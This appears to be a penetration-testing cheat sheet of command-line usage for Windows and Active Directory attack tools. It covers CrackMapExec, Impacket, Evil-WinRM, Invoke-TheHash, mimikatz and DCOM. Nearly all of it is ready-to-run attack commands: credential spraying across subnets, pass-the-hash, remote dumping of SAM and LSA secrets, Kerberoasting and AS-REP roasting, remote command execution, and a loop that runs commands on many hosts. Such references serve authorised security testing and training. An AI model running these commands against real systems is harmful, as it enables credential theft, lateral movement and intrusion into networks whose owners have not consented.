Authentication Mechanisms - Tools

Authentication Mechanisms - Tools

This document provides an overview of essential tools for testing and interacting with various authentication mechanisms in Windows environments.

CrackMapExec (CME)

CrackMapExec is a post-exploitation tool that helps automate assessment of large Active Directory networks.

Basic Usage

# Test credentials against SMB
crackmapexec smb 10.10.10.10 -u username -p password

# Test credentials against WinRM
crackmapexec winrm 10.10.10.10 -u username -p password

# Test credentials against SSH
crackmapexec ssh 10.10.10.10 -u username -p password

# Test credentials against MSSQL
crackmapexec mssql 10.10.10.10 -u username -p password

Pass-the-Hash

# SMB pass-the-hash
crackmapexec smb 10.10.10.10 -u username -H NTLM_HASH

# WinRM pass-the-hash
crackmapexec winrm 10.10.10.10 -u username -H NTLM_HASH

Authentication with Domain

# Specify domain for authentication
crackmapexec smb 10.10.10.10 -u username -p password -d domain.local

# Target a domain controller
crackmapexec smb dc01.domain.local -u username -p password -d domain.local

Network Sweeping

# Scan subnet for SMB
crackmapexec smb 10.10.10.0/24

# Scan subnet with credentials
crackmapexec smb 10.10.10.0/24 -u username -p password

Enumeration Functions

# Enumerate shares
crackmapexec smb 10.10.10.10 -u username -p password --shares

# Enumerate logged-on users
crackmapexec smb 10.10.10.10 -u username -p password --loggedon-users

# Enumerate domain users
crackmapexec smb 10.10.10.10 -u username -p password --users

# Enumerate domain groups
crackmapexec smb 10.10.10.10 -u username -p password --groups

# Get password policy
crackmapexec smb 10.10.10.10 -u username -p password --pass-pol

Command Execution

# Execute command via SMB
crackmapexec smb 10.10.10.10 -u username -p password -x "whoami /all"

# Execute PowerShell command
crackmapexec smb 10.10.10.10 -u username -p password -X '$PSVersionTable'

Impacket

Impacket is a collection of Python classes for working with network protocols, particularly useful for Windows authentication.

PSExec

# Authenticate with password
impacket-psexec domain.local/username:password@10.10.10.10

# Pass-the-hash
impacket-psexec -hashes :NTLM_HASH domain.local/username@10.10.10.10

# Specify command to run
impacket-psexec domain.local/username:password@10.10.10.10 'ipconfig /all'

WMIExec

# Authenticate with password
impacket-wmiexec domain.local/username:password@10.10.10.10

# Pass-the-hash
impacket-wmiexec -hashes :NTLM_HASH domain.local/username@10.10.10.10

SMBExec

# Authenticate with password
impacket-smbexec domain.local/username:password@10.10.10.10

# Pass-the-hash
impacket-smbexec -hashes :NTLM_HASH domain.local/username@10.10.10.10

Secretsdump

# Remote dumping of hashes
impacket-secretsdump domain.local/username:password@10.10.10.10

# Pass-the-hash
impacket-secretsdump -hashes :NTLM_HASH domain.local/username@10.10.10.10

# SAM + LSA + Cached creds
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

GetNPUsers

# Get users without Kerberos pre-authentication
impacket-GetNPUsers domain.local/ -dc-ip 10.10.10.10 -usersfile users.txt -format hashcat

# With specific user
impacket-GetNPUsers domain.local/username -dc-ip 10.10.10.10

GetUserSPNs

# Kerberoasting - request service tickets
impacket-GetUserSPNs domain.local/username:password -dc-ip 10.10.10.10 -request

# Output in specific format
impacket-GetUserSPNs domain.local/username:password -dc-ip 10.10.10.10 -request -format hashcat

Evil-WinRM

Evil-WinRM is a WinRM shell for pentesting/hacking Windows Remote Management.

Basic Usage

# Connect with password
evil-winrm -i 10.10.10.10 -u username -p password

# Pass-the-hash
evil-winrm -i 10.10.10.10 -u username -H NTLM_HASH

# Specify domain
evil-winrm -i 10.10.10.10 -u username@domain.local -p password

Advanced Features

# Load PowerShell scripts
evil-winrm -i 10.10.10.10 -u username -p password -s /path/to/ps_scripts/

# Upload file
# (After connecting, use upload command)
*Evil-WinRM> upload /local/path/file.exe C:\Windows\Temp\file.exe

# Download file
*Evil-WinRM> download C:\Windows\Temp\file.exe /local/path/file.exe

# PowerShell menu
*Evil-WinRM> menu

# Launch PowerShell commands without touching disk
*Evil-WinRM> Invoke-Binary /path/to/binary.exe

Invoke-TheHash

Invoke-TheHash provides PowerShell functions for performing pass-the-hash attacks with WMI and SMB.

Installation

# Import the module
Import-Module .\Invoke-TheHash.psd1

SMB Command Execution

# Execute command via SMB using NTLM hash
Invoke-SMBExec -Target 10.10.10.10 -Domain domain.local -Username username -Hash NTLM_HASH -Command "whoami" -Verbose

# Get command output
Invoke-SMBExec -Target 10.10.10.10 -Domain domain.local -Username username -Hash NTLM_HASH -Command "whoami" -CommandOutput $true -Verbose

WMI Command Execution

# Execute command via WMI using NTLM hash
Invoke-WMIExec -Target 10.10.10.10 -Domain domain.local -Username username -Hash NTLM_HASH -Command "whoami" -Verbose

Mass Command Execution

# Execute on multiple targets via SMB
$targets = Get-Content .\targets.txt
foreach($target in $targets) {
    Invoke-SMBExec -Target $target -Domain domain.local -Username username -Hash NTLM_HASH -Command "whoami" -Verbose
}

Lateral Movement Techniques

RDP with Stolen Credentials

# Using xfreerdp
xfreerdp /v:10.10.10.10 /u:username /p:password /d:domain.local +clipboard

# Pass-the-hash with mimikatz
sekurlsa::pth /user:username /domain:domain.local /ntlm:NTLM_HASH /run:"mstsc /restrictedadmin"

DCOM Lateral Movement

# Create COM object for remote execution
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))

# Execute command
$dcom.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami > C:\Windows\Temp\output.txt", "7")

Common Troubleshooting

# Verify SMB connectivity
crackmapexec smb 10.10.10.10 --shares

# Check for WinRM connectivity
crackmapexec winrm 10.10.10.10

# Test credential validity without execution
crackmapexec smb 10.10.10.10 -u username -p password

Last updated